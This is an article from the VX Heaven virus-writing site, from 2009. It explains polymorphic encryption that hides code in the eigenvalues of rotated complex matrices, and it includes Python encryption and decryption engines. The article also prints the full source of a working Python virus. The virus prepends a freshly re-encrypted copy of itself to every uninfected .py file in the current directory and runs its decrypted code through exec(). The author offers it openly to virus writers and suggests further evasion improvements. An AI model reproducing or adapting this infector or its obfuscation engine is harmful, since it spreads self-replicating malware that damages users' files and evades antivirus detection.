Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Hiding your virus in the matrix

SPTH
July 2009

[Back to index] [Comments]
\text{T_EX size}

Index

0) Introduction

In this article you will read about a new kind of polymorphism provided by the eigenvalue problem. We will use some easy results from linear algebra to understand the concept, look at the encryption, decryption and chipher code, see some example and a running virus using this technique, and read about how to use that technique and how to improve it.

1) The Idea

The idea uses the fact, that the eigenvalues of a given matrix A do not change under a similarity transformation B = U^(-1) * A * U, for an invertable matrix U. The eigenvalues will be identified with the virus code, by using the ascii representation of the viruscode. The virus will look like this:

Encrypted Code:

	FUNCTIONS FOR CALCULATING THE EIGENVALUES OF THE MATRIX
	FUNCTIONS FOR TRANSFORM EVs -> STRING

	M=several matrices with EV: viruscode
	mycode=getcode(M)
	exec(mycode)

The internal viruscode (encrypted in the matrices) looks like this:

	FUNCTION FOR MATRIX MULTIPLICATION
	READ CODE + SPLIT IN 3Byte-PARTS
	MAKE 3x3 MATRIX with EV=ORD(Byte1),ORD(Byte2),ORD(Byte3)
	MAKE TRANSFORMED MATRIX B = U^(-1)* A * U
	SEACHFILES AND INFECT WITH MATRICES

2) Basics of Linear Algebra and Numeric

2.1) Similarity Transformation

A similarity transformation is a represenation of the matrix in an other basis; that can be interpretated as a (passive) rotation of the matrix:

B = U^{-1} A U

For example, A=diag(3,2,7); U = rotation arround z-axe with angular x in R3:


B = \left|
 \begin{matrix}
 	\cos(x) & \sin(x) & 0 \\
 	-\sin(x) & \cos(x) & 0 \\
 	0 & 0 & 1
 \end{matrix}
\right| \times
\left|
 \begin{matrix}
 	3 & 0 & 0 \\
 	0 & 2 & 0 \\
 	0 & 0 & 7
 \end{matrix}
\right| \times
\left|
 \begin{matrix}
	\cos(x) & -\sin(x) & 0 \\
	\sin(x) & \cos(x) & 0 \\
	0 & 0 & 1
 \end{matrix}
\right| = \\
= \left|
 \begin{matrix}
	3\cos(x)^2+2\sin(x)^2 & -\cos(x)\sin(x) & 0 \\
	-\cos(x)\sin(x) & 3\sin(x)^2+2\cos(x)^2 & 0 \\
	0 & 0 & 7 
 \end{matrix}
\right|

B looks different as A, but still has some equivalent properties:

2.2) Eigenvalues, eigenvectors

For a matrix A, the eigenvectors give the basis of the matrix representation, the eigenvalues give the stretch or compression for a transformation. A given NxN Matrix has N eigenvalues L (skalar) and N eigenvectors v (N-vectors).

These values hold the following equation:

A \times v = L \times v\\(A - 1 \times L) \times v = 0

This is true, if the determinant of (A - 1\times L) is 0:

\det(A - 1 \times L) = 0

For a 2x2 Matrix A


	A = \left| \begin{matrix} a & b \\ c & d \end{matrix} \right| \\
	(A - 1 \times L) = \left| \begin{matrix} (a - L) & b \\ c & (d - L) \end{matrix}\right|

the determinate leads to a polynom 2nd grade:

(a - L)(d - L) - b \times c = 0\\ L^2 + ( -a -d ) \times L + (a \times d - d \times c) = 0

which can be easiely solved by quadratic formula.

We will use complex 3x3 matrices, therefor the determinate polynom is 3rd grade. The Cardano method provides an easy algorithm for solving that equation.

2.3) Cardano/Ferro's method

This method provides a solution to cubic polynoms. Good explanations can be found all over the internet (for instance here [1]), so I will just provide the results.

A cubic polynom:

x^3 + ax^2 + bx + c = 0

With the solution:


	x_{1,2,3} = u_{1,2,3} - \frac{p}{3u_{1,2,3}} - \frac{a}{3}\\
	p = b - \frac{a^2}{3}\\
	q = c + \frac{2a^3 - 9ab}{27}\\
	u_{1,2,3} = \left(\frac{-q}{2} \pm \sqrt{\frac{q^2}{4} + \frac{p^3}{27}}\right)^{\frac{1}{3}}

x has three solutions, as the polynom is of grade 3. The different solutions come from different values of u. u is defined by the 3rd root of a complex number, therefor there are 3 solutions.

3) Coding Example

I have got the idea of that polymorphism while coding a class for SU(3) matrices; the project has been written in Python, so my code was written in Python too, and so these code examples are. For this example I have only used standard librarys by Python, no external librarys like NumPy - which would already provide an eigenvalue/eigenvector calculator.

3.1) Encryption Engine

The encryption engine creates an random complex 3x3 matrix mUr, and its inverse mUl, as well as an diagonal matrix mdiag. mdiag has 3 complex (= 6 real) values in the diagonal: The real part of the diagonal-entrys (=eigenvalues) are the ASCII numbers of the chipher. The imaginary part of the eigenvalues is a couter. For instance:

VX! ←→ 86, 88, 33.

But my eigenvalue-function returns the values in a wired order, which I did not understand (NumPy does the same). As the values need a special order, I need the imaginary part for giving that order.

My diagonal matrix looks like this:


mdiag =
	\left| \begin{matrix} 86+1j & 0 & 0\\0 & 88+2j & 0\\0 & 0 & 33+3j \end{matrix} \right|
	\text{ or }
	\left| \begin{matrix} 33+3j & 0 & 0\\0 & 86+1j & 0\\0 & 0 & 88+2j \end{matrix} \right|
	\text{ or }\cdots

Then the encryption engine creates a new matrix B with

B = mUl \times mdiag \times mUr

which has the same eigenvalues as mdiag, but a very different representation, as it is rotated.

import random as rnd

def makerandom(mtx):
  for n in range(9):
    mtx.append(rnd.uniform(-5,5)+rnd.uniform(-5,5)*1j)

def multiply(M, A, B):
  A0,A1,A2,A3,A4,A5,A6,A7,A8=A[:]
  B0,B1,B2,B3,B4,B5,B6,B7,B8=B[:]
  M[0]=A0*B0 + A1*B3 + A2*B6
  M[1]=A0*B1 + A1*B4 + A2*B7
  M[2]=A0*B2 + A1*B5 + A2*B8
  M[3]=A3*B0 + A4*B3 + A5*B6
  M[4]=A3*B1 + A4*B4 + A5*B7
  M[5]=A3*B2 + A4*B5 + A5*B8
  M[6]=A6*B0 + A7*B3 + A8*B6
  M[7]=A6*B1 + A7*B4 + A8*B7
  M[8]=A6*B2 + A7*B5 + A8*B8

def determinate(mtx):
  d=mtx[0]*mtx[4]*mtx[8]+mtx[1]*mtx[5]*mtx[6]+mtx[2]*mtx[3]*mtx[7] - \
    mtx[0]*mtx[5]*mtx[7]-mtx[1]*mtx[3]*mtx[8]-mtx[2]*mtx[4]*mtx[6]
  return(d)

def inverse(mtx):
  det=determinate(mtx)
  s0,s1,s2,s3,s4,s5,s6,s7,s8=mtx[:]
  mtx[0]=s4*s8-s5*s7
  mtx[1]=s2*s7-s1*s8
  mtx[2]=s1*s5-s2*s4
  mtx[3]=s5*s6-s3*s8
  mtx[4]=s0*s8-s2*s6
  mtx[5]=s2*s3-s0*s5
  mtx[6]=s3*s7-s4*s6
  mtx[7]=s1*s6-s0*s7
  mtx[8]=s0*s4-s1*s3
  for n in range(9):
    mtx[n]/=det


externstr="def getstring(M):\n"
externstr=

... # WHOLE DECRYPTION ENGINE

mystr="Hello VXers!"
enc=externstr
enc+="M=[]\n"
counter=int((len(mystr)+2)/3.)
mystr+="  "
for n in range(counter):
  mUr=[]
  makerandom(mUr)
  L0=ord(mystr[3*n+0])
  L1=ord(mystr[3*n+1])
  L2=ord(mystr[3*n+2])
  mdiag=[L0+1j, 0+0j, 0+0j, 0+0j, L1+2j, 0+0j, 0+0j, 0+0j, L2+3j]
  mUl=[]
  mUl[:]=mUr[:]
  inverse(mUl)
  mY=[]
  mY[:]=mUl[:]
  mB=[]
  mB[:]=mUl[:]
  multiply(mY,mUl,mdiag)
  multiply(mB,mY,mUr)
  vircode+="M.append(["
  for m in range(9):
    enc+=str(mB[m])
    enc+=","
  enc+="])\n"
enc+="myMTXcode=getstring(M)\n"
enc+="exec(myMTXcode)"

f=open('encrypted.py')
f.write(enc)
f.close()
 

3.2) Decryption Engine & Encrypted Message

The decryption engine calculates the eigenvalues of all given matrices in M[], sorts them by the imaginary part of the eigenvalues, compains them to a string, and EXECutes the string. It uses the algorithm explained in (2.2) and (2.3).

As example we will look at the following matrix:

	(63.1925704486+37.492436785j),(-28.6708074068-35.2366181875j),
		(-46.6902296225-51.6577151605j)
M =	(29.8398186401+5.66596212895j),(69.6512376023+28.7600907908j),
		(-22.0336492677+44.2201928279j)
	(-34.971148787+17.088887324j),(-6.129786337-42.3441159614j),
		(74.1561919491-60.2525275758j),])

We need the eigenvalues, therefor we calculate a,b,c as provided by Cardano's method:

\begin{align}
a &=& -207 &-& 6j\\
b &=& 13299 &+& 881j\\
c &=& -248898 &-& 31278j
\end{align}

We can get p and q now:

\begin{align}
p &=& -972 &+& 53j\\
q &=& 11609 &-& 1007j
\end{align}

And the three values for u:

\begin{align}
u_1 &=& 8.923 &-& 15.3j\\
u_2 &=& 8.788 &+& 15.4j\\
u_3 &=&-17.711 &-& 0.1j
\end{align}

Insert all values in the formular for x, we get:

\begin{align}
x_1 &=& 88 &+& 2j\\
x_2 &=& 86 &+& 1j\\
x_3 &=& 33 &+& 3j
\end{align}

We sort them by the imaginary part and compain them:

msg = chr(86,88,33) = 'VX!'

The same way the decryption works, just using more matrices for more characters to chipher.

def root3(num):
                fak1=(-1/2.0)+((3**(1/2.))/2.0)*1j
                fak2=(-1/2.0)-((3**(1/2.))/2.0)*1j
                a=num**(1/3.0)
                b=a*fak1
                c=a*fak2
                return([a,b,c])

def getPQ(a,b,c):
                p = b-((a**2)/3.0)
                q = c + ((2*(a**3)-9*a*b)/27.0)
                return([p,q])

def getU(p,q):
                u3=-(q/2)+((q**2)/4.0 + (p**3)/27)**(1/2.0)
                return(root3(u3))

def getLambda(a,p,u):
                if u[0] == 0:
                     L0=u[0] - a/3.0
                else:
                     L0=u[0] - p/(3.0*u[0]) - a/3.0

                if u[1] == 0:
                     L1=-a/3.0
                else:
                     L1=u[1] - p/(3.0*u[1]) - a/3.0

                if u[2] == 0:
                     L2=-a/3.0
                else:
                     L2=u[2] - p/(3.0*u[2]) - a/3.0

                return(L0,L1,L2)

def getABC(mtx):
                a=-(mtx[0]+mtx[4]+mtx[8])
                b=mtx[0]*mtx[4]+mtx[0]*mtx[8]+mtx[4]*mtx[8]- \
                        mtx[5]*mtx[7]-mtx[1]*mtx[3]-mtx[2]*mtx[6]
                c=-mtx[0]*mtx[4]*mtx[8]+mtx[0]*mtx[5]*mtx[7]- \
                        mtx[1]*mtx[5]*mtx[6]+mtx[1]*mtx[3]*mtx[8]- \
                        mtx[2]*mtx[3]*mtx[7]+mtx[2]*mtx[4]*mtx[6]
                return([a,b,c])

def eigenvalues(mtx):
                ABC=getABC(mtx)
                PQ=getPQ(ABC[0],ABC[1],ABC[2])
                U=getU(PQ[0],PQ[1])
                L=getLambda(ABC[0],PQ[0],U)
                return(L)

def getstring(M):
    str=''
    for c in range(len(M)):
      mLD=eigenvalues(M[c])
      for i in range(len(mLD)+1):
        for n in range(len(mLD)):
          if round(mLD[n].imag)==i:
            str+=chr(int(round(mLD[n].real)))
    return(str)

M=[]
M.append([(111.683428149+2.06459252284j),(-1.10490217211+0.0344072539331j),
        (0.0430530540908+1.75479909755j),(-4.06723092869+2.73413363971j),
        (107.599271866+2.87763698926j),(-2.2482495609+6.9132040589j),
        (0.59557811208+0.115466142422j),(-0.69127471186-1.55945594885j),
        (111.717299985+1.0577704879j),])
M.append([(118.541367154+3.93823513788j),(1.16266259421+3.00081592836j),
        (3.76961850274+1.86798711661j),(-25.9597030301+51.2947566872j),
        (95.0015605504-13.3604180029j),(-12.2548443046+56.766013692j),
        (-64.5665226786-4.65349502375j),(5.77015944821-24.2108814397j),
        (51.4570722956+15.422182865j),])
M.append([(95.0916893207+1.24561178511j),(-7.31384679005-7.22713849386j),
        (-19.9802422285+15.1625393048j),(-4.55938178994-3.86904477337j),
        (104.558036099-1.690658605j),(-13.2550872642-9.51269056571j),
        (-8.28550792302-4.74874242958j),(-3.68768705785-5.01225605387j),
        (81.3502745803+6.44504681989j),])
M.append([(69.0666846907+7.74153113972j),(-19.2643084637+46.9603166139j),
        (21.139970505-8.67953298508j),(-23.7952908742+11.148451161j),
        (107.335560615+35.3261292099j),(12.1260566742-11.6069281017j),
        (38.8301719439+80.4069344033j),(110.722682123+9.83929122878j),
        (74.5977546942-37.0676603496j),])
M.append([(87.9859537783+1.76173248065j),(0.618291470925-3.51208547752j),
        (-1.49018075771+3.16093597101j),(0.140255772765+1.27268956483j),
        (90.9732250588+6.74443516021j),(-4.73290532124-4.89204043436j),
        (-2.71371298788+0.9490601855j),(-11.5413989295+2.0366942355j),
        (96.0408211628-2.50616764086j),])
M.append([(116.637007456-4.98424447257j),(-0.956809935625+7.36275422828j),
        (5.28173148418+11.143291707j),(-82.8913103158+71.7301867459j),
        (184.402432348-87.6232821155j),(20.8733032706-184.865372846j),
        (105.555478945+18.2709915185j),(-110.437515978+1.054278729j),
        (-39.0394398039+98.6075265881j),])
M.append([(48.5425894124+8.84920621968j),(-0.245656619782+17.7588566545j),
        (12.5809433528+15.805731952j),(0.986479005342-1.27846095227j),
        (33.7337006106+3.39218276823j),(1.75371755321-0.552115644868j),
        (-12.3470680016-1.53249573275j),(-2.78756539197-11.7388901482j),
        (20.723709977-6.24138898791j),])
myMTXcode=getstring(M)
exec(myMTXcode)
 

4) Virus example

This encryption technique could be used for encrypting a computer virus, too. The virus will be encrypted and executed as string myMTXcode. A good thing is, that the executed string myMTXcode can access its own data. For that reason, the virus will never need to open a file to get its own code, but just use the decrypted myMTXcode-string.

The example-virus infects by prepending all uninfected *.py files in the current directory. It decrypts itself, generates a new encrypted version of itself, and infects the files. Simple concept.

The decryption is the same as in (3.2) - the decrypted virus is here:

import random as rnd
import os

def makerandom(mtx):
  for n in range(9):
    mtx.append(rnd.uniform(-5,5)+rnd.uniform(-5,5)*1j)

def multiply(M, A, B):
  A0,A1,A2,A3,A4,A5,A6,A7,A8=A[:]
  B0,B1,B2,B3,B4,B5,B6,B7,B8=B[:]
  M[0]=A0*B0 + A1*B3 + A2*B6
  M[1]=A0*B1 + A1*B4 + A2*B7
  M[2]=A0*B2 + A1*B5 + A2*B8
  M[3]=A3*B0 + A4*B3 + A5*B6
  M[4]=A3*B1 + A4*B4 + A5*B7
  M[5]=A3*B2 + A4*B5 + A5*B8
  M[6]=A6*B0 + A7*B3 + A8*B6
  M[7]=A6*B1 + A7*B4 + A8*B7
  M[8]=A6*B2 + A7*B5 + A8*B8

def determinate(mtx):
  d=mtx[0]*mtx[4]*mtx[8]+mtx[1]*mtx[5]*mtx[6]+mtx[2]*mtx[3]*mtx[7] - \
    mtx[0]*mtx[5]*mtx[7]-mtx[1]*mtx[3]*mtx[8]-mtx[2]*mtx[4]*mtx[6]
  return(d)

def inverse(mtx):
  det=determinate(mtx)
  s0,s1,s2,s3,s4,s5,s6,s7,s8=mtx[:]
  mtx[0]=s4*s8-s5*s7
  mtx[1]=s2*s7-s1*s8
  mtx[2]=s1*s5-s2*s4
  mtx[3]=s5*s6-s3*s8
  mtx[4]=s0*s8-s2*s6
  mtx[5]=s2*s3-s0*s5
  mtx[6]=s3*s7-s4*s6
  mtx[7]=s1*s6-s0*s7
  mtx[8]=s0*s4-s1*s3
  for n in range(9):
    mtx[n]/=det

externstr="def root3(num):\n"
externstr+="            fak1=(-1/2.0)+((3**(1/2.))/2.0)*1j\n"
externstr+="            fak2=(-1/2.0)-((3**(1/2.))/2.0)*1j\n"
externstr+="            a=num**(1/3.0)\n"
externstr+="            b=a*fak1\n"
externstr+="            c=a*fak2\n"
externstr+="            return([a,b,c])\n\n"
externstr+="def getPQ(a,b,c):\n"
externstr+="            p = b-((a**2)/3.0)\n"
externstr+="            q = c + ((2*(a**3)-9*a*b)/27.0)\n"
externstr+="            return([p,q])\n\n"
externstr+="def getU(p,q):\n"
externstr+="            u3=-(q/2)+((q**2)/4.0 + (p**3)/27)**(1/2.0)\n"
externstr+="            return(root3(u3))\n\n"
externstr+="def getLambda(a,p,u):\n"
externstr+="            if u[0] == 0:\n"
externstr+="                 L0=u[0] - a/3.0\n"
externstr+="            else:\n"
externstr+="                 L0=u[0] - p/(3.0*u[0]) - a/3.0\n\n"
externstr+="            if u[1] == 0:\n"
externstr+="                 L1=-a/3.0\n"
externstr+="            else:\n"
externstr+="                 L1=u[1] - p/(3.0*u[1]) - a/3.0\n\n"
externstr+="            if u[2] == 0:\n"
externstr+="                 L2=-a/3.0\n"
externstr+="            else:\n"
externstr+="                 L2=u[2] - p/(3.0*u[2]) - a/3.0\n\n"
externstr+="            return(L0,L1,L2)\n\n"
externstr+="def getABC(mtx):\n"
externstr+="            a=-(mtx[0]+mtx[4]+mtx[8])\n"
externstr+="            b=mtx[0]*mtx[4]+mtx[0]*mtx[8]+mtx[4]*
                                mtx[8]-mtx[5]*mtx[7]-mtx[1]*mtx[3]-mtx[2]*mtx[6]\n"

externstr+="            c=-mtx[0]*mtx[4]*mtx[8]+mtx[0]*mtx[5]*
                                mtx[7]-mtx[1]*mtx[5]*mtx[6]+mtx[1]*mtx[3]*mtx[8]-
                                mtx[2]*mtx[3]*mtx[7]+mtx[2]*mtx[4]*mtx[6]\n"

externstr+="            return([a,b,c])\n\n"
externstr+="def eigenvalues(mtx):\n"
externstr+="            ABC=getABC(mtx)\n"
externstr+="            PQ=getPQ(ABC[0],ABC[1],ABC[2])\n"
externstr+="            U=getU(PQ[0],PQ[1])\n"
externstr+="            L=getLambda(ABC[0],PQ[0],U)\n"
externstr+="            return(L)\n\n"
externstr+="def getstring(M):\n"
externstr+="    str=''\n"
externstr+="    for c in range(len(M)):\n"
externstr+="      mLD=eigenvalues(M[c])\n"
externstr+="      for i in range(len(mLD)+1):\n"
externstr+="        for n in range(len(mLD)):\n"
externstr+="          if round(mLD[n].imag)==i:\n"
externstr+="            str+=chr(int(round(mLD[n].real)))\n"
externstr+="    return(str)\n\n"

mystr=myMTXcode
vircode=externstr
vircode+="M=[]\n"
counter=int((len(mystr)+2)/3.)
mystr+="  "
for n in range(counter):
  mUr=[]
  makerandom(mUr)
  L0=ord(mystr[3*n+0])
  L1=ord(mystr[3*n+1])
  L2=ord(mystr[3*n+2])
  mdiag=[L0+1j, 0+0j, 0+0j, 0+0j, L1+2j, 0+0j, 0+0j, 0+0j, L2+3j]
  mUl=[]
  mUl[:]=mUr[:]
  inverse(mUl)
  mY=[]
  mY[:]=mUl[:]
  mB=[]
  mB[:]=mUl[:]
  multiply(mY,mUl,mdiag)
  multiply(mB,mY,mUr)
  vircode+="M.append(["
  for m in range(9):
    vircode+=str(mB[m])
    vircode+=","
  vircode+="])\n"
vircode+="myMTXcode=getstring(M)\n"
vircode+="exec(myMTXcode)"
a=os.listdir(os.curdir)

for i in range(len(a)):
  b=a[i].rfind(".")
  if len(a[i])>b+2:
    if a[i][b+1]+a[i][b+2]=="py":
      vic=open(a[i], "r")
      vc=vic.read()
      if (vc.find("getABC")==-1):
        vic.close()
        vic=open(a[i], "w")
        vic.write(vircode+"\n")
        vic.write(vc)
      vic.close()

 

For making a 1st generation of the virus, you will need an external program, which encryptes the decrypted_virus.py. There, instead of

'mystr=myMTXcode'

you have to write something like:

        code=open("decrypted_virus.py","r")
        mystr=code.read()
        code.close()
 

The encrypted version is very big (~300KB), so you will find the full virus code in the APPENDIX.

5) Conclusion

In this article we have seen a new kind of polymorphism provided by some easy linear algebra. The example engines use complex 3x3 matrices, and have not used any external library.

One could expand the engine by NxN matrices, with a random number N. As this would lead to more complicated algebraic calculations, one would be forced to use an external numeric library. Numpy[2] provides an great amount of numerical functions, also functions for eigenvalues and eigenvectors. They could be used easiely.

Another expansion could be Adding Trash[3], which has already been coded by VortX; or other interal-code changing. This makes the matrices more dynamic.

Of course, this technique could be used for any programming language; in the same way as provided here for any script language and in some 'more advanced' way in binary viruses.


My dream is over for this time; I'm going back to the other side of the moon again...

6) References

  1. Cubic function / Cardano's method
  2. NumPy Website
  3. VortX; "Python Virus Writing Tutorial"; 2005

APPENDIX

Here I will provide some source codes, which are too big for the article itself. There will be one encrypted messages, in three different matrix representation; one secret message and the full ready-to-run version of the example virus. Enjoy it!

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua